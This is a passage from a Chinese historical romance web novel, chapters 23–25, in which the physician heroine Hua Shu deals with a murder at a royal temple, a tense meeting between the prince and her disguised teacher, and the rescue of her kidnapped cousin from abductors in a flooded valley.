等长缨将散落在地的药材收拾起来,她就站在方桌的最外侧,低头快速挑拣药材,不去瞧床上一眼。 然而禅房不过巴掌大的地方,那人气场又太过强悍,想忽视都难。 不过这次,华姝倒是真想岔了。 适才,霍霆一直在凝神思索,明日该如何应对。 今夜这伙人能在皇家地界来去自如,身份实力皆不容小觑,得尽早未雨绸缪。 渐渐的,他注意力被那一道窸窣的动静吸引过去。 睁开发沉的眼皮,望见一抹清秀的米黄色倩影。 低眉垂眼站在桌前,能离他最远的位置。 禅房视线昏暗,一时瞧不清是在难过,还是在气恼。 霍霆轻咳了声:“可有麻沸散之物?” 华姝抬头瞧去,杏眸微异。 麻沸散可令人全身或局部失去知觉,遇到重大伤情的患者时,常用来止疼。 可适才剜剥箭头时,霍霆都不曾喊疼,这时候要…… “类似药性的药膏,药箱里确有一瓶,但我不建议您用。” 她隐隐有个猜测:“若为掩盖受伤,您强行承受旁人的查验挤压,极易造成二次损伤。届时伤口溃烂成腐肉,就只能针线缝合了。” 霍霆饶有兴致瞧着她,有时觉得这姑娘太小惹人怜惜,有时又觉得她聪慧远超同龄人。 他捕捉到那水眸里一闪而过的光亮,“表姑娘有何法子。” 用得肯定句。 华姝倒不意外自己的心思会被看透,眼波微转,轻轻提议:“适才,我瞧见这禅院中有棵银杏树,结了浆果。” “或许,可以把浆果捣碎成汁,将多层布料黏合,在您左肩处做成一层硬壳,类似软性盔甲。可抵挡挤压,穿在外裳里也瞧不出来。” 她一边聚精会神地思索着,一边娓娓道来。 “摸起来是否会太硬?”旁边,霍霆提出疑虑。 华姝一时不察,脱口答道:“可您身上摸起来,本就硬……”邦邦的。 话音未落,她轻愣。 雪白的俏脸霎时烫红,直逼耳后—— 作者有话说:[坏笑][坏笑][坏笑] 第23章 甜蜜的陷阱 次日一早, 天刚亮,阮糖的丫鬟就到禅院门口守着。 直到长缨端着一盘素斋走进隔壁,她猛地一个激灵,匆匆回屋禀告阮糖。 “镇南王?”阮糖亦惊诧不已。 “小姐英明, 还好咱们昨晚没轻举妄动, 否则这误会就闹大了。” 昨晚, 阮糖思及能来皇龙寺上香的男子皆是非富即贵,她担心捅破给二夫人, 反而会被压着灭口。 “若是王爷腿疾复发,请华姝连夜前去,似也说得通。”阮糖在房中踱着步子,若有所思。 “您别忘了,她先前在山里待了一个月呢。”小丫鬟道,“沈姑娘同您的那些话,似乎又可信几分。” 阮糖定住步子,厉声叮嘱:“这些话不准随便往外传。” 就在前几日,沈青禾心有不甘地离开, 临走时故意来告诉阮糖:“我丫鬟曾亲眼瞧见, 华姝与霍大公子深夜同车而回, 还特意分开进门的呢。若说他俩心中没鬼,因何要如此避嫌?” 小丫鬟不敢再多嘴, 被打发去收拾床铺。 阮糖站在窗前, 望着对面禅房紧关的门窗, 漫不经心勾唇:“是狐狸尾巴, 早晚都会露出来。” * 东厢房,华姝回来后一直在补觉。 半夏对外只说是认床的缘故。 霍千羽不疑有他,静静坐在香案旁, 翻看随身携带的话本子。 “铮铮铮——” 一段悠扬婉转的筝声,忽从远处传来。 动人旋律中,夹杂着铿锵有力的嗡鸣,像战场作响的号角,响彻寺院上空,甚是振奋人心。 往来的香客,不禁驻足聆听。 霍千羽也放下话本子,托腮沉醉其中。 在一声声熟悉的曲调中,华姝悠悠睁眼。她眼波微转,杏眼溢出莹亮的喜悦。 是《广陵散》! 华姝起身穿戴,瞥见桌旁的人,笑问:“表姐何时来的,找我有事?” 霍千羽剥开一颗水灵灵的果子,塞进她嘴里,“听说你昨晚认床没睡好,这新鲜的菩提果能清热败火。” 一股淡淡的清香,在华姝口腔蔓延开来。她幸福地直眯眼,“还是表姐疼我。” 霍千羽又喂她一颗,“那你就多吃点。” “回来再吃吧,我先出去下。”华姝没再贪嘴,简单穿戴整齐,加快步子出门寻人。 顺着跌宕起伏的筝鸣声,她一路找至寺院西北角的思过崖。 顾名思义,此处是僧人受罚忏悔之地。 一般香客鲜少往这来,很显然,这位弹奏者不太一般。 远远望去,凉亭旁的石台上,一道谪仙翩翩的大红身影盘腿而坐。 身后是金黄梧桐叶飘荡,身前是烟波浩渺的白色云海。他置身其间,双臂大开大合地拨弄筝弦,弹奏得忘我痴醉。 华姝含笑听完整首曲子,鼓掌走近,“您云游回来啦?” “是啊,没想到在此处有缘相见。”裴夙起身看过来,一双月亮眼也露出惊喜神色:“数月不见,小姝儿又长高了。” 说着娴熟地抬起手,揉弄起她的小脑袋瓜。 “您又顽皮了。”华姝后退一步,护住自己岌岌可危的发髻,“您怎会来此呀?” “来拜佛许愿,希望能早点见到为师的小姝儿呀。” 裴夙学着华姝的语调,也将尾音拖长几分,柔媚似水,比女子的声音还好听。 “师父惯是爱开我玩笑,为老不尊。” 骆嘉然是华姝幼时就偶然结识的师父,医术斐然,有幸得他指点迷津,还有几本医书孤本。 只是这人惯是不着调,常年游走于名川大山,两人一年见面的次数屈指可数。 “为师这是童心未泯,永远年少时。” 裴夙先满意地抚了抚自己细腻的脸皮,又嫌弃地点了点华姝眼底的青黑,“你瞧瞧,小小年纪就如此憔悴,出去别说是我徒弟……” 华姝哭笑不得,耐着性子倾听他一大男人对养肤秘法的头头是道。俏皮的雪腮上梨涡浅浅,生动可人。 不远处的山径转角,一片落叶被轮椅悄然碾过。 霍霆抬手示意长缨停下,无声望向崖边。 红杉男子背对着他,长相瞧不真切。 但明媚阳光下,少女欢喜的模样清晰可见。 僻静美景,孤男寡女,她毫不避讳地仰脸望着那男子,发自内心甜笑,盈盈水眸似装满了星星。 长缨站在轮椅后,明显感觉四周的气温急剧沉降。 他止不住头皮发麻,别提多后悔了。 早知道他就推王爷去别处散心……哎哟,他滴亲娘呀,怎么还摸上头发了?! 凉亭前,裴夙又顺手揉了揉小徒弟的头,“起风了,咱去里面聊。” 两人相继坐到凉亭的石桌前。 旁边小火炉上,正温煮着一瓮美颜养容茶,白雾袅升,与亭前的滚滚云海相得益彰。 华姝凑过去,朝鼻尖轻扇了扇,“白术、白茯苓、白芍、甘草,还有一味……莫非是牡丹?” 她眼前一亮,“前不久曾见古籍有言,牡丹可入药养颜。不过平日里,大多都用在胭脂蜜粉中。” “不错,看来这段时日没有惫懒。”裴夙含笑颔首,从怀中掏出一瓶同配方的养颜膏,推到石桌那侧。 “我又不是你,医术总不往正经处用。” 华姝小声嘀咕了句,拾起手边精致的小铜勺,慢慢舀满半只白玉小碗,递到他面前。 裴夙笑得更欢,端起小碗,享受着小徒弟的孝敬,“你缘何来此,求姻缘?” 华姝气笑,“是想给千羽表姐再瞧瞧腿。” “圆妙大师医术精湛,倒是能一看。”裴夙将空碗推过去,示意她再添满。 然后,他状似随意问:“不过,为师在回燕京的路上,听闻镇南王也患有腿伤。王爷身边的军医,想来医术也是凤毛麟角,怎么没一块给你表姐瞧瞧?” 华姝恰好重新盛满一碗茶,动作微顿,推给他,“瞧过,可惜军医也束手无策。” 其实是霍霆腿伤早已痊愈,带在身边的军医主攻祛毒,术业有专攻,没法子瞧腿疾。 但深知此乃机密,华姝饶是对自己的恩师,也不会多言。 “可是适才烫着手了?”裴夙对她刚刚的那下停顿,不好作直接判断。 华姝:“我……” “姝儿,你大伯母在寻你。” 一道低沉嗓音,忽然从不远处传来。 裴夙寻声看去,秩丽的月亮眼笑弯,亲昵问道:“小姝,这位是何人,怎么从未听你提起过?” 霍霆也打量起这红杉男子,“阁下又是何人?” 裴夙摆了摆手,“如此听来,你与小姝算不得亲厚,不提也罢。” “是吗?”霍霆看向华姝。 “是吧?”裴夙也转过头来。 两人你来我往,气氛逐渐剑拔弩张. 华姝夹在中间,顿觉头大。 本着位高者尊的礼数,她先起身朝霍霆行礼,“回王爷的话,这位是我师父骆嘉然。” 然后又用眼色暗示不省心的师父,切莫再浑说一气。 裴夙状似听进去,起身走到凉亭的台阶下,拱手行礼:“原来是镇南王爷,在下久仰大名,失敬失敬。” 结果,又笑眯眯补了句:“王爷离家多年,与小姝不甚熟悉,实乃情有可原。” 霍霆冷嗤:“我们霍家的事,轮不到外人置喙。” “哎?一日为师终身为父,小姝的事自然就是我的事。” 裴夙话锋一转,细细凝住霍霆的神色,缓缓说道:“骆某不才,略通医术。王爷既是小姝的四叔,在下愿为您尽一份绵薄之力,也算为咱大昭的百姓力争一份平安。” 华姝的心瞬间立了起来。 长缨也蓦地握紧剑柄。 暗处的濯缨,更是严阵以待。 唯独霍霆神色如常,淡淡觑着面前之人,不怒自威。 裴夙眼神一瞬不瞬,亦是从容不迫。 两人之间的暗流涌动,惊得梧桐叶随风乍起。 金黄色泽折射出一束束刺目的白光,飒飒作响。 华姝看得心中狂跳,忽而急中生智,近前小声劝道:“师父,王爷腿疾比我千羽表姐的还复杂,你……你医不好的!” 她又恳切看向霍霆,“我师父这人一惯闲散,我让他向您赔不是,还望王爷别跟他一般计较。” 亲徒弟当众拆台,裴夙被气笑了。 他自知今日无法再作试探,象征性拱手赔礼:“今日是骆某托大,请王爷恕罪。” 霍霆朝长缨递了个眼色。 长缨会意,当场核查“骆嘉然”来皇龙寺的拜帖,“禀王爷,此人由主持方丈请来,为香客们义诊。” 霍霆闻言,深深看了华姝一眼。 而后调转轮椅,一路往山径的尽头而去,“下不为例。” 华姝浅浅松口气,又觉得该跟上去瞧瞧,于是向裴夙道别:“师父,我也要回去了。” “分明适才还说对我甚是想念,这会就赶我走,合着全是伤人心的谎语啊……”裴夙怅然叹气,说着还不忘又揉了一把小徒弟的头。 华姝忙不迭掩头,拍开他的手,“我如今都长成大姑娘了,不准再随便呼噜毛。” “行,下次再想摸,提前跟你打声招呼。” “打招呼也不准!” “那你这太过分了,居然残忍扼杀师父的快乐源泉。” “您可快些住嘴吧……” 师徒俩嬉戏打闹的笑声,伴着草木香的清风,在山间久久回荡。 等华姝追上霍霆主仆时,已是半盏茶后。 心惊胆战大半晌的长缨,总算等来了活菩萨。他将轮椅缓缓停在山道的平缓处,试探:“王爷,表姑娘来了。” 霍霆肃然望着远处连绵山脉,不置可否。 长缨一瞧,麻溜闪退。 华姝接过他的差事,推着霍霆继续往前。她略作斟酌,“师父曾在幼时到府上给祖母看诊。因合眼缘,就闲散地收我为徒。” 她解释道:“祖母和家中都知晓此事的。只是师父常年云游在外,大家伙都想不起来向您提起。” 面前之人恍若未闻,周身的气场威压依旧。 华姝索性闭口不言,改为游赏山景。 这是她头一次来皇龙寺,不愧是皇室御用,山间的自然景致都比别处的佛寺隽美许多。 云海松滔,青峰叠嶂,像是凡人误入了谪仙的山水画卷。 忽然,“同你那师父认识多久了?” 华姝回神,“六年。” “难怪如此亲昵。” 华姝想了想,“师父他确实有点没正行。不过心肠是好的,人很有趣。” “你倒是挺懂他。” 华姝哑然。 过了会,道:“也没有,师父他大多时不在燕京城,几乎见不到人。我跟师父相处的时间,还不如与您……”长。 华姝彻底不说话了。 她在后面推车,分辨不清霍霆的反应,但总感觉这事越描越黑。 这时,他抬手示意停下。 华姝照做,转到他身前,“可是我推得不稳定?” 怎料,面前这位曾指挥千军万马的男人,从袖中掏出了一包与他气质截然不符的饴糖,递过来。 “……给我的吗?” 清甜的糖果味顺着习习山风,很快飘进华姝的鼻腔。 她喜欢菩提果,更偏好甜口。此刻,只感觉有无数只馋虫,在舌尖来回跳跃。 “多谢王爷。”她接过来放进袖袋,脸颊微烫。 霍霆:“尝尝看,据说很甜。” 华姝略迟疑,重新揭开油纸包,捻起一颗放进嘴里。 顿时口齿生津,黛眉不自觉舒展开来,杏眸里也重新闪烁出熠熠神采。 好甜。 转而撞上他促狭的目光,她脸颊更烫,低头,将纸包往前递了递,“王爷要尝尝吗?” 霍霆失笑,“不成体统。” 似是受山中天气的传染,两人之间的气氛,变幻一轮又一轮。 不远处,接到信鸽的长缨瞧见这一幕,迈出来的脚,又嗖地收了回去。 霍霆看过去,“何事?” 长缨随即应召近前来,附耳低声几句。 霍霆凤眼陡然一凛,气压也再度低沉,“速速召集人手过去。” 华姝从旁瞧着,顿觉不妙,寺院貌似要有大事发生。 果然,霍霆看回来时,满脸冷肃凝重。 不过叮嘱的话语,仍浸满饴糖的温度:“山上这会不安全,拿上你的糖,猫回屋去。” 第24章 “天塌下来,我给你顶着…… 华姝对霍霆深信不疑, 乖乖往回走。 不时摆弄着手中的菩提糖袋,但愿表姐没先忍不住,将菩提果全吃光,那她可就不分给她菩提糖了。 想起霍千羽, 华姝眉眼泛起浅笑。 山里的天说变就变, 刚刚还晴空万里, 忽然就阴风阵阵。 她加快脚步赶回禅院。 大夫人带着四五个丫鬟,正在门口仓皇踱步。 远远一瞧见她, 就迎了上来,紧紧抓着她手臂,急问: “姝儿,千羽没同你在一起?” “她午后不是去找你了吗?” “你知道她在哪,对吧!” 华姝笑意僵住,双手搀住大夫人,转头忙问半夏:“你来说,发生何事?” 半夏声音焦灼:“奴婢适才去厨房为您端午膳,片刻功夫, 回来大小姐就不见了。” “许是她自己出去闲逛?”华姝抱着一丝侥幸, “寺庙其他各处都找过了?” “轮椅还在你屋里, 她还能去哪哟?我苦命的孩子……”大夫人急得声泪俱下,忽地瘫倒在她怀里, 两眼一翻, 昏了过去。 “大夫人!” “大夫人!” 半夏几人纷纷上前搀扶, 七手八脚, 场面乱成一团。 唯独华姝细思极恐。 在她房里不见的? 那对方原本想抓的是谁? 她脚步匆匆跑进禅房,看了眼空荡荡的轮椅,再瞧着一整盘剥好外壳的菩提果, 倏地红了眼圈。 为了寻人,华姝强行镇定下来。 送大夫人回房安置后,开始盘问众人: “可曾有可疑之人来过咱们院子?” “要仔细回想!” 霍家此行有四位姑娘,年龄相当。对方能辨认她的房间,说明提前探过路。 二房母女同阮糖主仆出门赏景,还未归。 半夏等三个丫鬟,绞尽脑汁回想:“只有个来卖菩提糖的小沙弥,不过十二三岁年纪,会是他吗?” “将他的模样描述给我,越详细越好。” 华姝随即提笔蘸墨,根据三人描述将小沙弥样子画到纸上,有七八分像。并临摹两份。 期间,她握笔的手都在颤抖。 霍千羽的贴身丫鬟双陆,更是自责地泣不成声。 大夫人的丫鬟双雨安慰她:“夫人已派护院出去寻了,没准已在回来的路上。” 但很快,护院们皆无功而返。 最后一丝侥幸,也被掐断。 双陆捂脸哽咽:“都怪我。要是我那会没去午睡,小姐肯定丢不了。” “现在不是自责的时候。” 华姝将小沙弥的画像递过去。 “拿上画像,咱们兵分三路。 半夏你带两个护院去山门口,看过去的半个时辰,都有哪户人家下山?让护院骑马去追查,你回来禀告。 双雨双陆带着其他护院,从寺庙东西两侧,再去寻人。重点寻找那个小沙弥,任何可疑迹象都不得放过。 我去寻王爷调派人手。” “对外只称王府走丢个丫鬟。”华姝着重强调:“两刻钟后,无论有无结果,皆要派人来此回话。” “是!” 众人齐齐出发。 禅房外,狂风裹挟着乌云,遮天蔽日。 半空已飘散起冰冷的雨丝,冻得人透心凉。 华姝顾不得回去添衣物,径直踏进风雨中。 表姐这会且不知在哪替她受冻,她又怎可畏惧寒雨? 寺庙前院,疾风骤雨,不论香客还是僧人都少得可怜,仅几盏石座孤灯,根本无从打探霍霆的行踪。 华姝无比后悔,刚刚多问一句就好了。 濯缨隐在不远处。 他是知道王爷这会在哪,可没有吩咐,不能擅自暴露自己。 这是做暗探的第一守则。 濯缨只能风雨中默默护送,眼瞅着华姝干着急。 忽然,她用袖子擦去脸颊雨水,裹紧衣物,往南边疾步前行。 方丈圆慧大师,住在南边的静心堂。 寺庙既有大事突发,他不可能不知。 岂料,华姝扑了空。 幸好,其徒弟得知事情原委后,隐晦指明:“阿弥陀佛,施主或可到圆妙师叔的杏林馆一试。” 华姝再三拜谢,接过小师傅递来的油纸伞,逆风匆匆赶往杏林苑。 途中,她恰与另外几拨人撞见。 报出镇南王的名号,她们搜寻时还算顺畅。 双雨:“除了杏林馆,寺院东侧都找过了。但那有重兵把守,不准我等进去。” 双陆:“西侧也没寻到。但碰到僧人说,那卖糖的小沙弥看着眼生,不像皇龙寺的人。” 半夏:“据山门守卫说,因天色突变早已封山,晌午后不曾有谁家下山去。” 华姝越听脸色越白。 没人下山,寺内又无人,就只剩后山和杏林馆了。 后山乃皇家猎场,亦有重兵把守,一般人不得擅自闯入。即使能进去,后山那么大,就凭几个护院得搜到何时? 她倒希望霍千羽在后山。 如今的杏林馆,绝对是个不详之地。 但也只能,“先去杏林馆。” 雨越下越大,面前众人都浑身湿漉漉,三个丫鬟更是瑟瑟发抖。 他们望着华姝,谁都没有半分退意。 华姝心中暖暖的,只点了半夏同行,“双雨双陆,先带大伙回去等我。去厨房熬点姜汤,养足体力。” “表姑娘,奴婢也随您去。” 双陆冻得牙齿打颤,却坚持不肯回去歇着。 “你且去瞧瞧,没准表姐已经回了。” 华姝这话,更像是在哄骗自己,“若你见到她,千万要快些来告诉我。不然她会把我那包糖果全偷吃光的。” 双陆含泪点头,“嗯!” * 半个时辰前,杏林馆已被守卫军围得水泄不通,“今日有贵客到来,圆妙大师暂不接诊,诸位请回吧。” 来看病的香客们,不情不愿地离去。 长缨稳步推着霍霆上前,亮出腰牌。 守卫立即躬身推开门,“王爷请。” 禅房内,住持圆慧大师,寺院守卫军的张统领已先一步赶到。 “见过王爷。”两人迎上前见礼。 同时露出身后禅床上的尸身——圆妙,死了。 尸首已僵掉,飞刀入心口,鲜血染红素黄色床单。 霍霆蹙眉:“凶手可有线索” 张统领拱手答话:“据僧人言,那蒙面人应是一直蹲守在附近,伺机一刀毙命。然后就躲进人群,踪迹全无。” 霍霆:“如何判断他曾蹲守?” “晨起时,有僧人发现屋顶瓦片碎了不少,昨夜就有人来过。”张统领道:“故而下官已封锁下山之路,并命人重点去搜查,昨夜住在寺院的男子。” 长缨眼皮一跳,怎么如此巧。 霍霆不动声色:“除此之外,可还有其他线索?” “还有……” “没想到这里竟如此热闹。” 一声轻笑由远及近,打断了张统领。 裴夙身着绛紫色的飞鱼服,手撑一柄雪白仙鹤的油纸伞,不期而至。 身后六队东厂番子,手持森寒的玄铁重剑,一字排开,瞬间堵占整个禅院。 众人纷纷行礼退避。 唯独霍霆巍然而坐,“裴督主的消息果然灵通。” “非也非也。”裴夙摆手,“陛下得知圆妙大师云游归来,命我来送些医书孤本。没想到刚到山上就惊闻噩耗,着实可惜。” 他唏嘘一阵,转而笑看霍霆:“素闻王爷不信鬼神之说,您缘何也来寺庙了?” 他看向轮椅,自问自答:“想必是来看腿疾的。圆妙大师生前,可曾见过王爷?” 霍霆眉峰微动,“裴督主这么好奇,不若送你下去问他。” * 杏林馆门外,两盏石灯被吹得忽明忽暗。 守卫们冒着雨,依旧层层围着,一只蚊子都飞不进去。 事情竟如此棘手。 华姝主仆撑伞而来,每靠近一步,心就揪紧一分。 应该与表姐无关吧,否则王爷定会派人通知大伯母。 “这位军爷,我有急事要见我四叔镇南王,劳烦您通报一声。”华姝抱着发凉的手臂,寒颤道。 得知她身份,守卫还算客气:“王爷这会在处理要务,霍小姐回去等吧。” 华姝没理会称谓,看向他身后虚掩的深色院门,黛眉紧拧,“您帮我将长缨侍卫叫出来也行。” 守卫纹丝没动:“无令,小的不敢擅离职守。” 雨越下越大了,豆大雨点砸在伞面上,乒乓作响。 华姝的心一沉再沉。 表姐本就身子羸弱,若这么淋雨下去,没等到她们营救,恐已凶多吉少。 不能再耽搁了。 华姝拉着半夏走开两步。 主仆对视一眼,然后蓦地转身—— 半夏用雨伞拦住那守卫。 华姝瞅准机会,不顾一切冲进院门。 守卫连忙大喝:“不能进,快回来!” 话未说完,杀人不眨眼的东厂番子,已手起剑落,齐齐朝华姝刺去。 容城回头一看,骇然变色:“都住手!” 但来不及了。 有个东厂番子出刀极快,刀刃已距离华姝的脖颈只差一寸,根本来不及收手。 华姝更来不及躲闪,眼瞧着寒意森森的刀刃,一厘厘疾速逼近。 吓得她紧紧闭上双眼。 突然这时,一枚碎银飞掠而来,“砰”得打中东厂番子的手腕。 利剑随即朝外飞去,力道之大,将一棵小臂粗的树干,当场拦腰折断。 满院的人全被定住。 只剩暴雨阵阵嗡鸣。 华姝湿漉长睫颤了颤,缓缓睁开眼,越过人群,看向禅房门口。 霍霆坐在轮椅上,沉脸寒声:“裴督主的人,动手前都无需问讯?” 目光则望向院中的姑娘。 长缨已过去撑伞,但华姝碧色衣衫早就湿透,止不住颤栗。 又似寒风中一根芦苇,纤细羸弱,却坚韧不倒。 刚刚,濯缨在尽可能不惊动裴夙的情况下,进来暗语传声。 霍霆瞬时就猜到华姝出事了,紧急出门,万幸有惊无险。 裴夙紧随其后出门,目光也落在华姝身上。 印象中总与他玩闹嬉笑的小徒弟,小脸淋得煞白,罕见狼狈,好似破碎的漂亮木娃娃。 裴夙眼眸骤冷,“不长眼的东西。” 他接过容城递来的伞,转身一瞬。 那东厂番子,即被伞骨细刃见血封喉。 转回身后,裴夙又恢复朗润笑脸,撑伞上前,“怪我那手下无礼,吓着了吧?” 华姝瑟缩后退,慌张躲到霍霆身后,盯着他的眼神陌生又警惕。 裴夙无所谓晒笑了声。 伞沿微垂,指尖勾住的披风肩带,蓦地撕裂两半。 华姝无从察觉,她此刻满心都是霍千羽,“王爷,表姐她……我,我找不到她了……” 一开口,喉头莫名哽咽。 她也不知为何,一见到霍霆就忍不住了,适才所有的强撑全都功亏一篑。 “别慌,慢慢说。”霍霆将披风接下来,递给她,“就算霍家的天塌下来,也由我给你们顶着。” 他嗓音平静,连带华姝的心绪也稍有平静,至少说明表姐与杏林馆的事无关。 她没接披风,只道:“表姐突然就失踪了,院里其他人毫无察觉。寺内皆已找过,只剩后山。我们没法进去搜查,人手也不够。” 霍霆回头,“张统领。” “王爷放心,下官这就去调派守卫。”张统领说完,疾步走出禅院。 华姝见状,浅浅吁了口气。 随即转身要去追张统领。 霍霆拦住她,“将披风穿上再去。事后,千羽还需你来照顾。” 华姝略微迟疑,接过了披风。 裹在身上,余有男人炽热的体温,厚实很暖。 这期间,裴夙仍站在原地。 眼瞧着华姝穿着玄色披风,擦肩而过。 他嘴角勾起一抹玩味笑意:“刚才说到哪来着?哦,杀害圆妙大师的真凶,左肩处也受有重伤。” 华姝脚步蓦地顿住。 圆妙大师死了? 左肩受伤? 裴夙将她反应盯得清楚,“莫非,这位姑娘见过凶手?” 在场众人,纷纷瞧向华姝。 她如芒在背,暗道不妙。 长缨和濯缨亦是警钟大作。 唯独霍霆面不改色,他对上裴夙的审视目光,冷肃开口:“裴……” “回这位大人的话,小女子不曾见过凶手,只是惋惜神医的陨落。” 华姝回过身,“我此番前来,是想请圆妙大师为表姐医治,您一查便知。” 她佯装冷静与裴夙对视。 细看他月亮眼型,熟悉地古怪。 裴夙眼仁微动,转头避开她,随口与圆慧大师确认一番,主动放人。 华姝忧心找人,一时未再深究,匆匆离去。 * 华姝回去迅速召集护院,前往后山与张统领汇合。 长缨从后追上来,“王爷有令,属下听凭表姑娘差遣。” “可王爷那边?”华姝瞧着裴夙等人,皆非善类。 长缨压低声音:“有表姑娘的那层隐形铠甲,王爷已摆脱嫌疑,后续无甚大碍。” 他又补充道:“不过您尽可放心,王爷并非凶手。” 长缨感觉,这才是自己此行的主要任务。 华姝心不在焉点头,她本就没怀疑过。以霍霆为人,即使圆妙有罪,也会堂堂正正将其绳之以法。 后山空旷,稀疏的松林间,寒风更甚。 张统领将霍家护院与守卫军两两分作一组,骑上快马,朝四面八方搜查。 华姝由长缨护着,带人前往地势低洼的山谷。 踩着凹凸不平的山道,她极力思忖。 若对方真是误抓了表姐,那又是何人想加害自己? 近日,与她有怨之人…… “长缨,会是宋煜吗?” 长缨摇头,“按理说不会,王爷在宋煜身边安插了眼线。” 那还能是谁? 雨下得更大,华姝脸色也越来越难看。她小心踩着乱石,一点点深入山谷的腹部。 脚下的积水险滩,逐渐没过她小腿。茫茫水面,看着尤其吓人。 长缨生怕她再有差池,“前面着实不好走了,表姑娘要不回山上等消息吧。” “我都不好走,表姐双腿有疾,独自一人又该如何?”华姝脱口反问。 长缨无言以对:“那请您务必注意安全。” 几人继续前行,地势一低再低。 积水蔓延至膝盖时,有人眼尖,捞起水面飘着一块粉色物件,“这貌似是块帕子。” 华姝从他手中接过来,指尖颤抖。 “是表姐的绢帕!” “不会有错,这是我送给表姐的帕子!” 污水浸过的锦缎手帕,霎时点燃所有人的希望。 第25章 被他打屁股:“我再看你…… 半个时辰前, 霍千羽边看话本子,边等华姝回来。 桌上的菩提果,散发着一股清甜的馨香,格外好闻。 只是没过多久, 她和双陆相继困顿。她放下话本子, 顺势歇在华姝床上, 并让双陆回房补个午觉。 等醒来时,人已被绑进麻袋。里面黑乎乎的, 什么都看不见。 隐约能听见木轮碾压石子的动静。她应是被人用木板车推着,往前移动时颠簸不堪,差点将午膳全吐出来。 霍千羽又难受又惊恐,雨水洇湿麻袋,浑身冷得打颤。她下意识扭动手腕,想悄悄挣脱绳套。 “老实点!否则等会让你死无全尸。”绑匪呵斥。 很陌生的声音,霍千羽不认识他,“我们有仇吗?你若需要银两,我身上首饰皆可赠予。” 绑匪嗤笑:“华小姐, 有人拿黄金百两取你性命。你觉得, 我还会稀罕这点破首饰?” 华小姐…… 霍千羽僵住, 联系起自己睡在华姝床上,后知后觉他抓错了人。 她抿紧唇瓣, 没声张。 如果今日注定要有人遇害, 一个瘫子死了就死了吧。自己这条命, 本就是姝儿拼尽清白才救回来的。 但事与愿为, 麻袋随后就被解开。绑匪是个枯瘦少年,旁边站着那卖菩提果的小沙弥。 小沙弥皱眉:“这人不是华姝。” 绑匪傻眼:“这怎么办?我今日没法再去寺里。等到明日,他们定会警惕严查于我。” “有这瘫子在, 不愁等不来华姝。” 小沙弥扛上人,冒雨走向山谷深处。他们轻视瘫子自己跑不掉,连麻袋口都没系。 霍千羽逮到机会,不顾绳套磨破手腕的酸疼,费力从袖袋掏出粉色绢帕,趁其不备扔出去。 雨下了半晌,山谷小河的水位不断上涨。粉色帕子飘在水面,被冲往下游。 小沙弥的话,提醒了霍千羽。发现她失踪,华姝必然会带人来寻。那倒不如为其提供线索,降低救援难度。 三人最终停在小河源头,悬崖瀑布的左下方,有个山洞。 绑匪将霍千羽吊在洞口的歪脖松树上,堵住嘴,当诱饵。他俩则藏到洞口里边,守株待兔。 豆大雨点砸在脸上,霍千羽又冰又疼,手臂也被吊得充血,肿痛难捱。 但一想到家人正在不遗余力搜救,她深吸口气,努力逼退所有的胆怯和酸涩。 然而河水不断上涨,起初只到腰部,后来暴雨突至,水位很快蔓延至胸口,冻得发抖不说,压得她喘气艰难。 视线,渐渐模糊迷离…… 忽然,脚踝被缠上一圈凉丝丝的东西。 霍千羽惊惧遇到水蛇,低头瞧去,竟是皇龙寺的守卫军! 救援到了! 嘘……守卫军悄声从水里冒出头,伸手去割她手腕的绳索。 突然这时,一道利箭从山洞“咻”得射出,守卫军应声栽入水中。 小沙弥喊话:“对面的人听着,要想救她,就用华姝来交换。” 但话音未落,一只只更快更锋利的箭雨,密密麻麻射入山洞,逼得他俩连连倒退。 绑匪吓得不轻,没想到会招来这么多人。他开始打起退堂鼓,那黄金总不能有命挣没命花。 小沙弥则啐了口,径直朝霍千羽头顶射去一箭。 他冷声威胁:“你们再敢胡来,我先射死这个女人!” 华姝大惊失色,慌忙拦住所有人。 “我就是华姝,我答应你!” “只要你肯放人,我愿意出对方三倍的价钱。” “并让你平安离开,如何?” 片刻后,山洞中人传来回话:“那可得三千两呢,你舍得吗?” “舍得!现在就能拿给你。” 别说三千两,就是三万两华姝也舍得。 眼瞧着表姐奄奄一息被吊在那,她心都要碎了,恨不得立即扑上去。 霍千羽却连连朝她摇头,三百两黄金才对,这明显有诈。 奈何她嘴被堵着,没法提醒,不由急红眼。 华姝手头没那么多钱,但长缨有。 他趟水往前,却被对方厉斥:“退回去!” “你们全部退后。” “只能华姝一个人来送。” 长缨攥紧拳头:“你们不要得寸进尺!” “那就鱼死网破。”小沙弥寸步不让。 他们特意选了最低洼之处吊住霍千羽,这会河水还不到华姝等人的胸口,却漫过霍千羽脖子。 溺水只在一瞬间。 华姝根本耽搁不得,当即扬声应下,“好,我来送。” 长缨也忧心忡忡,但坚持不肯同意。 “长缨,我可以的。”华姝悄悄露出袖袋内的小巧匕首。 这是大伯母为她俩精心选的防身之物,自打遭遇宋煜后,她一直带在身边。用它来救大表姐,冥冥之中定有福报。 华姝还比划个射飞镖的动作,“王爷手把手教过我。” 当初逃跑时,她就是用此招摆脱了萧成的追踪,手法娴熟。 长缨惊讶一瞬,万万没想到这点。 这飞镖防身术可是王爷独家自创的,轻易不外传。 不仅教给表姑娘,还手把手…… “咕咕、咕咕。” 不远处传来几声鸟叫,是濯缨的暗语。 长缨稍稍放宽心,带人齐齐后退。 华姝接过包裹好的银票,攥着袖中匕首,警惕又疾步来到洞口。 出来的是绑匪。 “先拉她上来!”眼见霍千羽已被呛得双眼翻白,华姝又气又急。 她高高举起银票,“我这有五千两,她活全是你的。她若出事,那咱就同归于尽。” 怎料,“谁稀罕似的?” 绑匪冷笑一声,蓦地就朝她伸手抓过来。 华姝心中咯噔一声,毫不犹豫甩出去鞘的匕首。 按照霍霆教的:“手腕发力,重心要稳,才能又狠又准。你若不敢杀人,就射其肺部。对方没法呼吸,即动你不得。” 说时迟那是很快,匕首一个回旋,深深刺入绑匪的肺部。 他还没反应过来,人已闷声栽在乱石中,血流不止。 华姝吓得浑身发抖,却也顾不得太多,慌忙去解救霍千羽。 可才刚费力将人拽上来,一阵破风声就从背后偷袭而来。 华姝敏锐察觉危险,急急朝旁边倒去。 地上乱石尖锐,不断划割后背,但她始终不曾放开霍千羽,往前滚了一圈又一圈。 还没等喘口气,第二道利箭已破空而至。 “姝儿!”霍千羽大惊失色。 她挣扎着想帮衬,奈何两条废腿使不上一点劲。 而华姝也疼得爬不起来了,她只能牢牢趴到霍千羽身上,紧紧闭上眼,视死如归—— “咔嚓!” 千钧一发之际,箭羽突然被另一支利箭打落。 